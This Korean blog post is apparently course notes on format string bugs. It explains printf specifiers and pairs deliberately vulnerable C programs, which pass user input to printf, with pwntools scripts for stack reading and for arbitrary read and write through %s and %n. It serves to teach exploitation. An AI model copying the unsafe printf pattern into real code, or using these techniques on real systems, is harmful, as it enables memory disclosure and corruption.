[드림핵 시스템 해킹] Format String Bug

asdf·2025년 1월 18일

pwnable

목록 보기
23/36

포맷 스트링


포맷 스트링은 다음과 같이 구성됩니다. 이 중 Format String Bug를 공격하는 데 중요한 요소 4가지에 대해 살펴보겠습니다.

%[parameter][flags][width][.precision][length][specifier]

Specifier

형식 지정자(specifier)는 인자를 어떻게 사용할지 지정합니다.

형식 지정자설명
d부호 있는 10진수 정수
u부호 없는 10진수 정수
s문자열
x부호 없는 16진수 정수
n해당하는 위치의 인자에 현재까지 사용된 문자열의 길이 저장. 값 출력 X
pvoid형 포인터

Width

최소 너비를 지정합니다. 치환되는 문자열이 이 값보다 짧을 경우, 공백 문자(' ')를 문자열 앞에 패딩합니다.

너비 지정자설명
정수정수의 값만큼을 최소 너비로 지정
*인자를 두 개 사용. 첫 인자의 값만큼을 최소 너비로 지정해 두 번째 인자 출력

Length

출력하고자 하는 변수의 크기를 지정하며, d, n 등의 형식 지정자 앞에 쓰입니다. 정수 값을 출력하고 싶으나 변수가 int형이 아닌 경우에 주로 사용합니다.

길이 지정자설명
hh해당 인자가 char 크기임을 나타냄
h해당 인자가 short int 크기임을 나타냄
l해당 인자가 long int 크기임을 나타냄
ll해당 인자가 long long int 크기임을 나타냄

Parameter

참조할 인자의 인덱스를 지정합니다. 이 필드는 %[파라미터값]$d와 같이 값 뒤에 $문자를 붙여 표기합니다. 여기서 중요한 부분은 파라미터 값이 전달된 인자의 갯수의 범위 내인지 확인하지 않는다는 것입니다.

포맷 스트링 버그


포맷 스트링 버그(Format String Bug, FSB)는 포맷 스트링 함수의 잘못된 사용으로 발생하는 버그를 이릅니다. 포맷 스트링을 사용자가 직접 입력할 수 있을 때 공격자는 레지스터와 스택을 읽을 수 있고, 임의 주소 읽기 및 쓰기를 할 수 있습니다.

레지스터 및 스택 읽기

다음은 사용자가 임의의 포맷 스트링을 입력할 수 있는 예제 코드입니다.

#include <stdio.h>

int main() {
  char format[0x100];
  
  printf("Format: ");
  scanf("%s", format);
  printf(format);
  
  return 0;
}

코드를 컴파일한 후 다음과 같이 %p/%p/%p/%p/%p/%p/%p/%p를 입력해 보겠습니다.

$ ./fsb_stack_read
Format: %p/%p/%p/%p/%p/%p/%p/%p
0xa/(nil)/0x7f4dad0bbaa0/(nil)/0x55f04ffdc6b0/0x7025207025207025/0x2520702520702520/0x2070252070252070 

printf 함수에 전달한 인자가 없는데도 어떤 값들이 출력되었습니다. 이는 x86-64의 함수 호출 규약에 따라 포맷 스트링을 담고 있는 rdi의 다음 인자인 rsi, rdx, rcx, r8, r9, [rsp], [rsp+0x8], [rsp+0x10]이 출력된 것입니다.
이를 사용해 레지스터 일부와 스택 값을 읽어오는 것이 가능합니다.

임의 주소 읽기

#include <stdio.h>

char *secret = "THIS IS SECRET";

int main() {
  char *addr = secret;
  char format[0x100];

  printf("Format: ");
  scanf("%s", format);
  printf(format);

  return 0;
}

코드를 컴파일한 후 main을 디스어셈블 하면 addr이 rsp+8 위치에, format이 rsp+0x10 위치에 있는 것을 확인할 수 있습니다.

printf(format)을 출력하는 시점에서의 rsp값을 바탕으로 7번째 인자가 [rsp+8]을 나타내므로 %7$s를 사용하면 secret 위치에 적힌 문자열을 출력할 수 있습니다.

파이썬 코드로 작성하면 다음과 같습니다.

from pwn import *

p = process("./fsb_aar")

p.recvuntil(b"`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)

fstring = b"%7$saaaa" # Length: 8
fstring += p64(addr_secret)

p.sendline(fstring)

p.interactive()

임의 주소 쓰기

임의 주소 읽기와 마찬가지로 포맷 스트링에 임의의 주소를 넣고 %[n]$n의 형식 지정자를 사용하면 그 주소에 데이터를 쓸 수 있습니다.
다음은 예제 코드입니다.

#include <stdio.h>

int secret;

int main() {
  char format[0x100];

  printf("Address of `secret`: %p\n", &secret);
  printf("Format: ");
  scanf("%s", format);
  printf(format);
  
  printf("Secret: %d", secret);

  return 0;
}

secret 주소를 버퍼에 담은 뒤 %[n]$n을 통해서 secret에 값을 쓴다고 했을 때 그 직전까지 31337 글자를 출력하면 됩니다.

from pwn import *

p = process("./fsb_aaw")

p.recvuntil(b"`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)

fstring = b"%31337c%8$n".ljust(16, b'a')
fstring += p64(addr_secret)

p.sendline(fstring)
print(p.recvall())

%n을 사용해서 넣는 경우 지금까지 출력된 글자의 수를 넣기 때문에 지나치게 큰 값은 쓸 수 없습니다. 이 경우 앞에 h와 hh를 붙여 2바이트, 1바이트씩 쓰는 것이 가능합니다.

profile
Rainy Waltz(a_hisa)

0개의 댓글